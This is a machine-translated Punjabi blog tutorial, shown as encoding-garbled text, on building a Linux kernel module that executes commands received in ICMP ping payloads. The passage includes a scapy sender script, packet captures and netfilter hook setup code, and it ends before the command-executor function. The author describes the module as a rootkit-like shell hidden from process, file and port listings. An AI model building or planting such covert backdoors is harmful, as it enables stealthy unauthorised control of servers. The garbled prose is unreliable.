ICMP เจ‰เฉฑเจคเฉ‡ เจชเฉเจฐเจฎเจพเจฃเฉ‚ เจธเจผเฉˆเฉฑเจฒ

ICMP เจ‰เฉฑเจคเฉ‡ เจชเฉเจฐเจฎเจพเจฃเฉ‚ เจธเจผเฉˆเฉฑเจฒ

TL; เจกเจพ: เจฎเฉˆเจ‚ เจ‡เฉฑเจ• เจ•เจฐเจจเจฒ เจฎเฉ‹เจกเฉ€เจŠเจฒ เจฒเจฟเจ– เจฐเจฟเจนเจพ เจนเจพเจ‚ เจœเฉ‹ ICMP เจชเฉ‡เจฒเฉ‹เจก เจคเฉ‹เจ‚ เจ•เจฎเจพเจ‚เจกเจพเจ‚ เจจเฉ‚เฉฐ เจชเฉœเฉเจนเฉ‡เจ—เจพ เจ…เจคเฉ‡ เจ‰เจนเจจเจพเจ‚ เจจเฉ‚เฉฐ เจธเจฐเจตเจฐ 'เจคเฉ‡ เจšเจฒเจพเจเจ—เจพ เจญเจพเจตเฉ‡เจ‚ เจคเฉเจนเจพเจกเจพ SSH เจ•เจฐเฉˆเจธเจผ เจนเฉ‹ เจœเจพเจตเฉ‡เฅค เจธเจญ เจคเฉ‹เจ‚ เจฌเฉ‡เจธเจฌเจฐ เจฒเจˆ, เจธเจญ เจ•เฉ‹เจก เจนเฉˆ GitHub.

เจธเจพเจตเจงเจพเจจ เจคเจœเจฐเจฌเฉ‡เจ•เจพเจฐ C เจชเฉเจฐเฉ‹เจ—เจฐเจพเจฎเจฐ เจ–เฉ‚เจจ เจฆเฉ‡ เจนเฉฐเจเฉ‚เจ†เจ‚ เจตเจฟเฉฑเจš เจซเฉเฉฑเจŸเจฃ เจฆเจพ เจœเฉ‹เจ–เจฎ เจฒเฉˆเจ‚เจฆเฉ‡ เจนเจจ! เจฎเฉˆเจ‚ เจธเจผเจฌเจฆเจพเจตเจฒเฉ€ เจตเจฟเฉฑเจš เจ—เจฒเจค เจตเฉ€ เจนเฉ‹ เจธเจ•เจฆเจพ เจนเจพเจ‚, เจชเจฐ เจ•เจฟเจธเฉ‡ เจตเฉ€ เจ†เจฒเฉ‹เจšเจจเจพ เจฆเจพ เจธเจตเจพเจ—เจค เจนเฉˆ. เจชเฉ‹เจธเจŸ เจ‰เจนเจจเจพเจ‚ เจฒเจˆ เจคเจฟเจ†เจฐ เจ•เฉ€เจคเฉ€ เจ—เจˆ เจนเฉˆ เจœเจฟเจจเฉเจนเจพเจ‚ เจจเฉ‚เฉฐ เจธเฉ€ เจชเฉเจฐเฉ‹เจ—เจฐเจพเจฎเจฟเฉฐเจ— เจฆเจพ เจฌเจนเฉเจค เจฎเจพเฉœเจพ เจตเจฟเจšเจพเจฐ เจนเฉˆ เจ…เจคเฉ‡ เจ‰เจน เจฒเฉ€เจจเจ•เจธ เจฆเฉ‡ เจ…เฉฐเจฆเจฐเจฒเฉ‡ เจนเจฟเฉฑเจธเฉ‡ เจจเฉ‚เฉฐ เจตเฉ‡เจ–เจฃเจพ เจšเจพเจนเฉเฉฐเจฆเฉ‡ เจนเจจ.

เจฎเฉ‡เจฐเฉ€ เจชเจนเจฟเจฒเฉ€ เจ•เจฐเจจ เจฒเจˆ เจŸเจฟเฉฑเจชเจฃเฉ€ เจตเจฟเฉฑเจš เจฒเฉ‡เจ– เจธเจพเจซเจŸเจˆเจฅเจฐ เจตเฉ€เจชเฉ€เจเจจ เจฆเจพ เจœเจผเจฟเจ•เจฐ เจ•เฉ€เจคเจพ, เจœเฉ‹ เจ•เจฟ เจ•เฉเจ "เจจเจฟเจฏเจฎเจฟเจค" เจชเฉเจฐเฉ‹เจŸเฉ‹เจ•เฉ‹เจฒเจพเจ‚ เจฆเฉ€ เจจเจ•เจฒ เจ•เจฐ เจธเจ•เจฆเจพ เจนเฉˆ, เจ–เจพเจธ เจ•เจฐเจ•เฉ‡ HTTPS, ICMP เจ…เจคเฉ‡ เจ‡เฉฑเจฅเฉ‹เจ‚ เจคเฉฑเจ• เจ•เจฟ DNSเฅค เจฎเฉˆเจ‚ เจ•เจฒเจชเจจเจพ เจ•เจฐ เจธเจ•เจฆเจพ เจนเจพเจ‚ เจ•เจฟ เจ‰เจนเจจเจพเจ‚ เจตเจฟเฉฑเจšเฉ‹เจ‚ เจธเจฟเจฐเจซ เจชเจนเจฟเจฒเฉ‡ เจ•เฉฐเจฎ เจ•เจฐ เจฐเจนเฉ‡ เจนเจจ, เจ•เจฟเจ‰เจ‚เจ•เจฟ เจฎเฉˆเจ‚ HTTP(S) เจคเฉ‹เจ‚ เจฌเจนเฉเจค เจœเจพเจฃเฉ‚ เจนเจพเจ‚, เจ…เจคเฉ‡ เจฎเฉˆเจจเฉ‚เฉฐ ICMP เจ…เจคเฉ‡ DNS เจ‰เฉฑเจคเฉ‡ เจŸเจจเจฒเจฟเฉฐเจ— เจธเจฟเฉฑเจ–เจฃเฉ€ เจชเจˆเฅค

ICMP เจ‰เฉฑเจคเฉ‡ เจชเฉเจฐเจฎเจพเจฃเฉ‚ เจธเจผเฉˆเฉฑเจฒ

เจนเจพเจ‚, 2020 เจตเจฟเฉฑเจš เจฎเฉˆเจ‚ เจธเจฟเฉฑเจ–เจฟเจ† เจ•เจฟ เจคเฉเจธเฉ€เจ‚ ICMP เจชเฉˆเจ•เฉ‡เจŸเจพเจ‚ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจ†เจฐเจฌเจฟเจŸเจฐเจฐเฉ€ เจชเฉ‡เจฒเฉ‹เจก เจชเจพ เจธเจ•เจฆเฉ‡ เจนเฉ‹เฅค เจชเจฐ เจ•เจฆเฉ‡ เจจเจพเจฒเฉ‹เจ‚ เจฆเฉ‡เจฐ เจจเจพเจฒเฉ‹เจ‚ เจฌเจฟเจนเจคเจฐ! เจ…เจคเฉ‡ เจ•เจฟเจ‰เจ‚เจ•เจฟ เจ‡เจธ เจฌเจพเจฐเฉ‡ เจ•เฉเจ เจ•เฉ€เจคเจพ เจœเจพ เจธเจ•เจฆเจพ เจนเฉˆ, เจ‡เจธ เจฒเจˆ เจ‡เจน เจ•เจฐเจจ เจฆเฉ€ เจœเจผเจฐเฉ‚เจฐเจค เจนเฉˆ. เจ•เจฟเจ‰เจ‚เจ•เจฟ เจฎเฉ‡เจฐเฉ‡ เจฐเฉ‹เจœเจผเจพเจจเจพ เจœเฉ€เจตเจจ เจตเจฟเฉฑเจš เจฎเฉˆเจ‚ เจ…เจ•เจธเจฐ เจ•เจฎเจพเจ‚เจก เจฒเจพเจˆเจจ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจฆเจพ เจนเจพเจ‚, เจœเจฟเจธ เจตเจฟเฉฑเจš SSH เจฆเฉเจ†เจฐเจพ เจธเจผเจพเจฎเจฒ เจนเฉˆ, เจ‡เฉฑเจ• ICMP เจธเจผเฉˆเฉฑเจฒ เจฆเจพ เจตเจฟเจšเจพเจฐ เจชเจนเจฟเจฒเจพเจ‚ เจฎเฉ‡เจฐเฉ‡ เจฆเจฟเจฎเจพเจ— เจตเจฟเฉฑเจš เจ†เจ‡เจ†เฅค เจ…เจคเฉ‡ เจ‡เฉฑเจ• เจชเฉ‚เจฐเจจ เจฌเฉเฉฑเจฒเจธเจผเฉ€เจฒเจก เจฌเจฟเฉฐเจ—เฉ‹ เจจเฉ‚เฉฐ เจ‡เจ•เฉฑเจ เจพ เจ•เจฐเจจ เจฒเจˆ, เจฎเฉˆเจ‚ เจ‡เจธเจจเฉ‚เฉฐ เจ‡เฉฑเจ• เจญเจพเจธเจผเจพ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจฒเฉ€เจจเจ•เจธ เจฎเฉ‹เจกเฉ€เจŠเจฒ เจฆเฉ‡ เจฐเฉ‚เจช เจตเจฟเฉฑเจš เจฒเจฟเจ–เจฃ เจฆเจพ เจซเฉˆเจธเจฒเจพ เจ•เฉ€เจคเจพ เจนเฉˆ เจœเจฟเจธเจฆเจพ เจฎเฉˆเจจเฉ‚เฉฐ เจธเจฟเจฐเจซ เจ‡เฉฑเจ• เจฎเฉ‹เจŸเจพ เจตเจฟเจšเจพเจฐ เจนเฉˆเฅค เจ…เจœเจฟเจนเจพ เจธเจผเฉˆเฉฑเจฒ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ†เจตเจพเจ‚ เจฆเฉ€ เจธเฉ‚เจšเฉ€ เจตเจฟเฉฑเจš เจฆเจฟเจ–เจพเจˆ เจจเจนเฉ€เจ‚ เจฆเฉ‡เจตเฉ‡เจ—เจพ, เจคเฉเจธเฉ€เจ‚ เจ‡เจธเจจเฉ‚เฉฐ เจ•เจฐเจจเจฒ เจตเจฟเฉฑเจš เจฒเฉ‹เจก เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹ เจ…เจคเฉ‡ เจ‡เจน เจซเจพเจˆเจฒ เจธเจฟเจธเจŸเจฎ 'เจคเฉ‡ เจจเจนเฉ€เจ‚ เจนเฉ‹เจตเฉ‡เจ—เจพ, เจคเฉเจนเจพเจจเฉ‚เฉฐ เจธเฉเจฃเจจ เจตเจพเจฒเฉ€เจ†เจ‚ เจชเฉ‹เจฐเจŸเจพเจ‚ เจฆเฉ€ เจธเฉ‚เจšเฉ€ เจตเจฟเฉฑเจš เจ•เฉเจ เจตเฉ€ เจธเจผเฉฑเจ•เฉ€ เจจเจนเฉ€เจ‚ เจฆเจฟเจ–เจพเจˆ เจฆเฉ‡เจตเฉ‡เจ—เจพเฅค เจ‡เจธ เจฆเฉ€เจ†เจ‚ เจธเจฎเจฐเฉฑเจฅเจพเจตเจพเจ‚ เจฆเฉ‡ เจธเฉฐเจฆเจฐเจญ เจตเจฟเฉฑเจš, เจ‡เจน เจ‡เฉฑเจ• เจชเฉ‚เจฐเฉ€ เจคเจฐเฉเจนเจพเจ‚ เจฆเฉ€ เจฐเฉ‚เจŸเจ•เจฟเฉฑเจŸ เจนเฉˆ, เจชเจฐ เจฎเฉˆเจ‚ เจ‡เจธ เจตเจฟเฉฑเจš เจธเฉเจงเจพเจฐ เจ•เจฐเจจ เจฆเฉ€ เจ‰เจฎเฉ€เจฆ เจ•เจฐเจฆเจพ เจนเจพเจ‚ เจ…เจคเฉ‡ เจ‡เจธ เจจเฉ‚เฉฐ เจ†เจ–เจฐเฉ€ เจ‰เจชเจพเจ… เจฆเฉ‡ เจธเจผเฉˆเฉฑเจฒ เจตเจœเฉ‹เจ‚ เจตเจฐเจคเจฃ เจฆเฉ€ เจ‰เจฎเฉ€เจฆ เจ•เจฐเจฆเจพ เจนเจพเจ‚ เจœเจฆเฉ‹เจ‚ SSH เจฆเฉเจ†เจฐเจพ เจฒเฉŒเจ—เจ‡เจจ เจ•เจฐเจจ เจ…เจคเฉ‡ เจ˜เฉฑเจŸเฉ‹-เจ˜เฉฑเจŸ เจšเจฒเจพเจ‰เจฃ เจฒเจˆ เจฒเฉ‹เจก เจ”เจธเจค เจฌเจนเฉเจค เจœเจผเจฟเจ†เจฆเจพ เจนเฉˆ echo i > /proc/sysrq-triggerเจฐเฉ€เจฌเฉ‚เจŸ เจ•เฉ€เจคเฉ‡ เจฌเจฟเจจเจพเจ‚ เจชเจนเฉเฉฐเจš เจจเฉ‚เฉฐ เจฌเจนเจพเจฒ เจ•เจฐเจจ เจฒเจˆ.

เจ…เจธเฉ€เจ‚ เจ‡เฉฑเจ• เจŸเฉˆเจ•เจธเจŸ เจเจกเฉ€เจŸเจฐ เจฒเฉˆเจ‚เจฆเฉ‡ เจนเจพเจ‚, เจชเจพเจˆเจฅเจจ เจ…เจคเฉ‡ เจธเฉ€, เจ—เฉ‚เจ—เจฒ เจ…เจคเฉ‡ เจตเจฟเฉฑเจš เจฌเฉเจจเจฟเจ†เจฆเฉ€ เจชเฉเจฐเฉ‹เจ—เจฐเจพเจฎเจฟเฉฐเจ— เจนเฉเจจเจฐ เจตเจฐเจšเฉเจ…เจฒ เจœเฉ‹ เจคเฉเจนเจพเจจเฉ‚เฉฐ เจšเจพเจ•เฉ‚ เจฆเฉ‡ เจนเฉ‡เจ เจพเจ‚ เจฐเฉฑเจ–เจฃ เจตเจฟเฉฑเจš เจ•เฉ‹เจˆ เจ‡เจคเจฐเจพเจœเจผ เจจเจนเฉ€เจ‚ เจนเฉˆ เจœเฉ‡เจ•เจฐ เจธเจญ เจ•เฉเจ เจŸเฉเฉฑเจŸ เจœเจพเจ‚เจฆเจพ เจนเฉˆ (เจตเจฟเจ•เจฒเจชเจฟเจ• - เจธเจฅเจพเจจเจ• เจตเจฐเจšเฉเจ…เจฒ เจฌเจพเจ•เจธ/เจ•เฉ‡เจตเฉ€เจเจฎ/เจ†เจฆเจฟ) เจ…เจคเฉ‡ เจšเจฒเฉ‹!

เจ—เจพเจนเจ• เจชเจพเจธเฉ‡

เจ‡เจน เจฎเฉˆเจจเฉ‚เฉฐ เจœเจพเจชเจฆเจพ เจธเฉ€ เจ•เจฟ เจ•เจฒเจพเจ‡เฉฐเจŸ เจฆเฉ‡ เจนเจฟเฉฑเจธเฉ‡ เจฒเจˆ เจฎเฉˆเจจเฉ‚เฉฐ เจฒเจ—เจญเจ— 80 เจฒเจพเจˆเจจเจพเจ‚ เจตเจพเจฒเฉ€ เจ‡เฉฑเจ• เจธเจ•เฉเจฐเจฟเจชเจŸ เจฒเจฟเจ–เจฃเฉ€ เจชเจตเฉ‡เจ—เฉ€, เจชเจฐ เจ‡เฉฑเจฅเฉ‡ เจฆเจฟเจ†เจฒเฉ‚ เจฒเฉ‹เจ• เจธเจจ เจœเจฟเจจเฉเจนเจพเจ‚ เจจเฉ‡ เจฎเฉ‡เจฐเฉ‡ เจฒเจˆ เจ‡เจน เจ•เฉ€เจคเจพ เจธเจพเจฐเฉ‡ เจ•เฉฐเจฎ. เจ•เฉ‹เจก 10 เจฎเจนเฉฑเจคเจตเจชเฉ‚เจฐเจจ เจฒเจพเจˆเจจเจพเจ‚ เจตเจฟเฉฑเจš เจซเจฟเจŸเจฟเฉฐเจ—, เจ…เจšเจพเจจเจ• เจธเจงเจพเจฐเจจ เจฌเจฃ เจ—เจฟเจ†:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

เจธเจ•เฉเจฐเจฟเจชเจŸ เจฆเฉ‹ เจ†เจฐเจ—เฉ‚เจฎเฉˆเจ‚เจŸ เจฒเฉˆเจ‚เจฆเฉ€ เจนเฉˆ, เจ‡เฉฑเจ• เจชเจคเจพ เจ…เจคเฉ‡ เจ‡เฉฑเจ• เจชเฉ‡เจฒเฉ‹เจกเฅค เจญเฉ‡เจœเจฃ เจคเฉ‹เจ‚ เจชเจนเจฟเจฒเจพเจ‚, เจชเฉ‡เจฒเฉ‹เจก เจฆเฉ‡ เจ…เฉฑเจ—เฉ‡ เจ‡เฉฑเจ• เจ•เฉเฉฐเจœเฉ€ เจนเฉเฉฐเจฆเฉ€ เจนเฉˆ run:, เจธเจพเจจเฉ‚เฉฐ เจฌเฉ‡เจคเจฐเจคเฉ€เจฌ เจชเฉ‡เจฒเฉ‹เจก เจตเจพเจฒเฉ‡ เจชเฉˆเจ•เฉ‡เจœเจพเจ‚ เจจเฉ‚เฉฐ เจฌเจพเจนเจฐ เจ•เฉฑเจขเจฃ เจฒเจˆ เจ‡เจธเจฆเฉ€ เจฒเฉ‹เฉœ เจชเจตเฉ‡เจ—เฉ€เฅค

เจ•เจฐเจจเจฒ เจจเฉ‚เฉฐ เจชเฉˆเจ•เฉ‡เจœ เจฌเจฃเจพเจ‰เจฃ เจฒเจˆ เจตเจฟเจธเจผเฉ‡เจธเจผ เจ…เจงเจฟเจ•เจพเจฐเจพเจ‚ เจฆเฉ€ เจฒเฉ‹เฉœ เจนเฉเฉฐเจฆเฉ€ เจนเฉˆ, เจ‡เจธเจฒเจˆ เจธเจ•เฉเจฐเจฟเจชเจŸ เจจเฉ‚เฉฐ เจธเฉเจชเจฐเจฏเฉ‚เจœเจผเจฐ เจตเจœเฉ‹เจ‚ เจšเจฒเจพเจ‰เจฃเจพ เจชเจตเฉ‡เจ—เจพเฅค เจเจ—เจœเจผเฉ€เจ•เจฟเจŠเจธเจผเจจ เจ…เจจเฉเจฎเจคเฉ€เจ†เจ‚ เจฆเฉ‡เจฃเจพ เจ…เจคเฉ‡ เจธเจ•เฉˆเจชเฉ€ เจจเฉ‚เฉฐ เจ–เฉเจฆ เจธเจฅเจพเจชเจฟเจค เจ•เจฐเจจเจพ เจจเจพ เจญเฉเฉฑเจฒเฉ‹เฅค เจกเฉ‡เจฌเฉ€เจ…เจจ เจ•เฉ‹เจฒ เจ‡เฉฑเจ• เจชเฉˆเจ•เฉ‡เจœ เจนเฉˆ เจœเจฟเจธเจจเฉ‚เฉฐ เจ•เจนเจฟเฉฐเจฆเฉ‡ เจนเจจ python3-scapy. เจนเฉเจฃ เจคเฉเจธเฉ€เจ‚ เจฆเฉ‡เจ– เจธเจ•เจฆเฉ‡ เจนเฉ‹ เจ•เจฟ เจ‡เจน เจธเจญ เจ•เจฟเจตเฉ‡เจ‚ เจ•เฉฐเจฎ เจ•เจฐเจฆเจพ เจนเฉˆเฅค

เจ•เจฎเจพเจ‚เจก เจจเฉ‚เฉฐ เจšเจฒเจพเจ‰เจฃเจพ เจ…เจคเฉ‡ เจ†เจ‰เจŸเจชเฉเฉฑเจŸ เจ•เจฐเจจเจพ
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

เจ‡เจน เจ‰เจนเฉ€ เจนเฉˆ เจœเฉ‹ เจธเฉเฉฐเจ˜เจฃ เจตเจพเจฒเฉ‡ เจตเจฟเฉฑเจš เจฆเจฟเจ–เจพเจˆ เจฆเจฟเฉฐเจฆเจพ เจนเฉˆ
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

เจœเจตเจพเจฌ เจชเฉˆเจ•เฉ‡เจœ เจตเจฟเฉฑเจš เจชเฉ‡เจฒเฉ‹เจก เจจเจนเฉ€เจ‚ เจฌเจฆเจฒเจฆเจพ เจนเฉˆเฅค

เจ•เจฐเจจเจฒ เจฎเฉ‹เจกเฉ€เจŠเจฒ

เจกเฉ‡เจฌเฉ€เจ…เจจ เจตเจฐเจšเฉเจ…เจฒ เจฎเจธเจผเฉ€เจจ เจฌเจฃเจพเจ‰เจฃ เจฒเจˆ เจคเฉเจนเจพเจจเฉ‚เฉฐ เจ˜เฉฑเจŸเฉ‹-เจ˜เฉฑเจŸ เจฒเฉ‹เฉœ เจนเฉ‹เจตเฉ‡เจ—เฉ€ make ะธ linux-headers-amd64, เจฌเจพเจ•เฉ€ เจจเจฟเจฐเจญเจฐเจคเจพ เจฆเฉ‡ เจฐเฉ‚เจช เจตเจฟเฉฑเจš เจ† เจœเจพเจตเฉ‡เจ—เจพ. เจฎเฉˆเจ‚ เจฒเฉ‡เจ– เจตเจฟเจš เจชเฉ‚เจฐเจพ เจ•เฉ‹เจก เจชเฉเจฐเจฆเจพเจจ เจจเจนเฉ€เจ‚ เจ•เจฐเจพเจ‚เจ—เจพ; เจคเฉเจธเฉ€เจ‚ เจ‡เจธ เจจเฉ‚เฉฐ เจ—เจฟเจฅเจฌ 'เจคเฉ‡ เจ•เจฒเฉ‹เจจ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹.

เจนเฉเฉฑเจ• เจธเฉˆเฉฑเจŸเจ…เฉฑเจช

เจธเจผเฉเจฐเฉ‚ เจ•เจฐเจจ เจฒเจˆ, เจธเจพเจจเฉ‚เฉฐ เจฎเฉ‹เจกเฉ€เจŠเจฒ เจจเฉ‚เฉฐ เจฒเฉ‹เจก เจ•เจฐเจจ เจ…เจคเฉ‡ เจ‡เจธเจจเฉ‚เฉฐ เจ…เจจเจฒเฉ‹เจก เจ•เจฐเจจ เจฒเจˆ เจฆเฉ‹ เจซเฉฐเจ•เจธเจผเจจเจพเจ‚ เจฆเฉ€ เจฒเฉ‹เฉœ เจนเฉเฉฐเจฆเฉ€ เจนเฉˆเฅค เจ…เจจเจฒเฉ‹เจกเจฟเฉฐเจ— เจฒเจˆ เจซเฉฐเจ•เจธเจผเจจ เจฆเฉ€ เจฒเฉ‹เฉœ เจจเจนเฉ€เจ‚ เจนเฉˆ, เจชเจฐ เจซเจฟเจฐ rmmod เจ‡เจน เจ•เฉฐเจฎ เจจเจนเฉ€เจ‚ เจ•เจฐเฉ‡เจ—เจพ; เจฎเฉ‹เจกเฉ€เจŠเจฒ เจธเจฟเจฐเจซเจผ เจฌเฉฐเจฆ เจนเฉ‹เจฃ 'เจคเฉ‡ เจนเฉ€ เจ…เจจเจฒเฉ‹เจก เจ•เฉ€เจคเจพ เจœเจพเจตเฉ‡เจ—เจพเฅค

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

เจ‡เฉฑเจฅเฉ‡ เจ•เฉ€ เจนเฉ‹ เจฐเจฟเจนเจพ เจนเฉˆ:

  1. เจฆเฉ‹ เจธเจฟเจฐเจฒเฉ‡เจ– เจซเจพเจˆเจฒเจพเจ‚ เจจเฉ‚เฉฐ เจฎเฉ‹เจกเฉ€เจŠเจฒ เจ…เจคเฉ‡ เจจเฉˆเฉฑเจŸเจซเจฟเจฒเจŸเจฐ เจตเจฟเฉฑเจš เจนเฉ‡เจฐเจพเจซเฉ‡เจฐเฉ€ เจ•เจฐเจจ เจฒเจˆ เจ–เจฟเฉฑเจšเจฟเจ† เจœเจพเจ‚เจฆเจพ เจนเฉˆ.
  2. เจธเจพเจฐเฉ‡ เจ“เจชเจฐเฉ‡เจธเจผเจจ เจ‡เฉฑเจ• เจจเฉˆเฉฑเจŸเจซเจฟเจฒเจŸเจฐ เจฆเฉเจ†เจฐเจพ เจœเจพเจ‚เจฆเฉ‡ เจนเจจ, เจคเฉเจธเฉ€เจ‚ เจ‡เจธ เจตเจฟเฉฑเจš เจนเฉเฉฑเจ• เจธเฉˆเจŸ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹เฅค เจ…เจœเจฟเจนเจพ เจ•เจฐเจจ เจฒเจˆ, เจคเฉเจนเจพเจจเฉ‚เฉฐ เจ‰เจธ เจขเจพเจ‚เจšเฉ‡ เจฆเจพ เจเจฒเจพเจจ เจ•เจฐเจจ เจฆเฉ€ เจฒเฉ‹เฉœ เจนเฉˆ เจœเจฟเจธ เจตเจฟเฉฑเจš เจนเฉเฉฑเจ• เจจเฉ‚เฉฐ เจธเฉฐเจฐเจšเจฟเจค เจ•เฉ€เจคเจพ เจœเจพเจตเฉ‡เจ—เจพ. เจธเจญ เจคเฉ‹เจ‚ เจฎเจนเฉฑเจคเจตเจชเฉ‚เจฐเจฃ เจ—เฉฑเจฒ เจ‡เจน เจนเฉˆ เจ•เจฟ เจ‰เจน เจซเฉฐเจ•เจธเจผเจจ เจจเจฟเจฐเจงเจพเจฐเจค เจ•เจฐเจจเจพ เจนเฉˆ เจœเฉ‹ เจนเฉเฉฑเจ• เจฆเฉ‡ เจคเฉŒเจฐ เจคเฉ‡ เจšเจฒเจพเจ‡เจ† เจœเจพเจตเฉ‡เจ—เจพ: nfho.hook = icmp_cmd_executor; เจฎเฉˆเจ‚ เจฌเจพเจ…เจฆ เจตเจฟเฉฑเจš เจซเฉฐเจ•เจธเจผเจจ เจตเจฟเฉฑเจš เจ† เจœเจพเจตเจพเจ‚เจ—เจพเฅค
    เจซเจฟเจฐ เจฎเฉˆเจ‚ เจชเฉˆเจ•เฉ‡เจœ เจฒเจˆ เจชเฉเจฐเฉ‹เจธเฉˆเจธเจฟเฉฐเจ— เจธเจฎเจพเจ‚ เจจเจฟเจฐเจงเจพเจฐเจค เจ•เฉ€เจคเจพ: NF_INET_PRE_ROUTING เจชเฉˆเจ•เฉ‡เจœ เจจเฉ‚เฉฐ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจ•เจฐเจจ เจฒเจˆ เจจเจฟเจฐเจงเจพเจฐเจค เจ•เจฐเจฆเจพ เจนเฉˆ เจœเจฆเฉ‹เจ‚ เจ‡เจน เจชเจนเจฟเจฒเฉ€ เจตเจพเจฐ เจ•เจฐเจจเจฒ เจตเจฟเฉฑเจš เจฆเจฟเจ–เจพเจˆ เจฆเจฟเฉฐเจฆเจพ เจนเฉˆเฅค เจตเจฐเจคเจฟเจ† เจœเจพ เจธเจ•เจฆเจพ เจนเฉˆ NF_INET_POST_ROUTING เจชเฉˆเจ•เฉ‡เจŸ เจฆเฉ€ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจ•เจฐเจจ เจฒเจˆ เจœเจฆเฉ‹เจ‚ เจ‡เจน เจ•เจฐเจจเจฒ เจคเฉ‹เจ‚ เจฌเจพเจนเจฐ เจจเจฟเจ•เจฒเจฆเจพ เจนเฉˆเฅค
    เจฎเฉˆเจ‚ เจซเจฟเจฒเจŸเจฐ เจจเฉ‚เฉฐ IPv4 เจคเฉ‡ เจธเฉˆเจŸ เจ•เฉ€เจคเจพ: nfho.pf = PF_INET;.
    เจฎเฉˆเจ‚ เจ†เจชเจฃเฉ‡ เจนเฉเฉฑเจ• เจจเฉ‚เฉฐ เจธเจญ เจคเฉ‹เจ‚ เจตเฉฑเจง เจคเจฐเจœเฉ€เจน เจฆเจฟเฉฐเจฆเจพ เจนเจพเจ‚: nfho.priority = NF_IP_PRI_FIRST;
    เจ…เจคเฉ‡ เจฎเฉˆเจ‚ เจ…เจธเจฒ เจนเฉเฉฑเจ• เจฆเฉ‡ เจคเฉŒเจฐ เจคเฉ‡ เจกเฉ‡เจŸเจพ เจขเจพเจ‚เจšเฉ‡ เจจเฉ‚เฉฐ เจฐเจœเจฟเจธเจŸเจฐ เจ•เจฐเจฆเจพ เจนเจพเจ‚: nf_register_net_hook(&init_net, &nfho);
  3. เจ…เฉฐเจคเจฎ เจซเฉฐเจ•เจธเจผเจจ เจนเฉเฉฑเจ• เจจเฉ‚เฉฐ เจนเจŸเจพเจ‰เจ‚เจฆเจพ เจนเฉˆ.
  4. เจฒเจพเจ‡เจธเฉฐเจธ เจธเจชเฉฑเจธเจผเจŸ เจคเฉŒเจฐ 'เจคเฉ‡ เจฆเจฐเจธเจพเจ‡เจ† เจ—เจฟเจ† เจนเฉˆ เจคเจพเจ‚ เจœเฉ‹ เจ•เฉฐเจชเจพเจˆเจฒเจฐ เจธเจผเจฟเจ•เจพเจ‡เจค เจจเจพ เจ•เจฐเฉ‡เฅค
  5. เจซเฉฐเจ•เจธเจผเจจ module_init() ะธ module_exit() เจฎเฉ‹เจกเฉ€เจŠเจฒ เจจเฉ‚เฉฐ เจธเจผเฉเจฐเฉ‚ เจ•เจฐเจจ เจ…เจคเฉ‡ เจธเจฎเจพเจชเจค เจ•เจฐเจจ เจฒเจˆ เจนเฉ‹เจฐ เจซเฉฐเจ•เจธเจผเจจ เจธเฉˆเฉฑเจŸ เจ•เจฐเฉ‹เฅค

เจชเฉ‡เจฒเฉ‹เจก เจฎเฉเฉœ เจชเฉเจฐเจพเจชเจค เจ•เฉ€เจคเจพ เจœเจพ เจฐเจฟเจนเจพ เจนเฉˆ

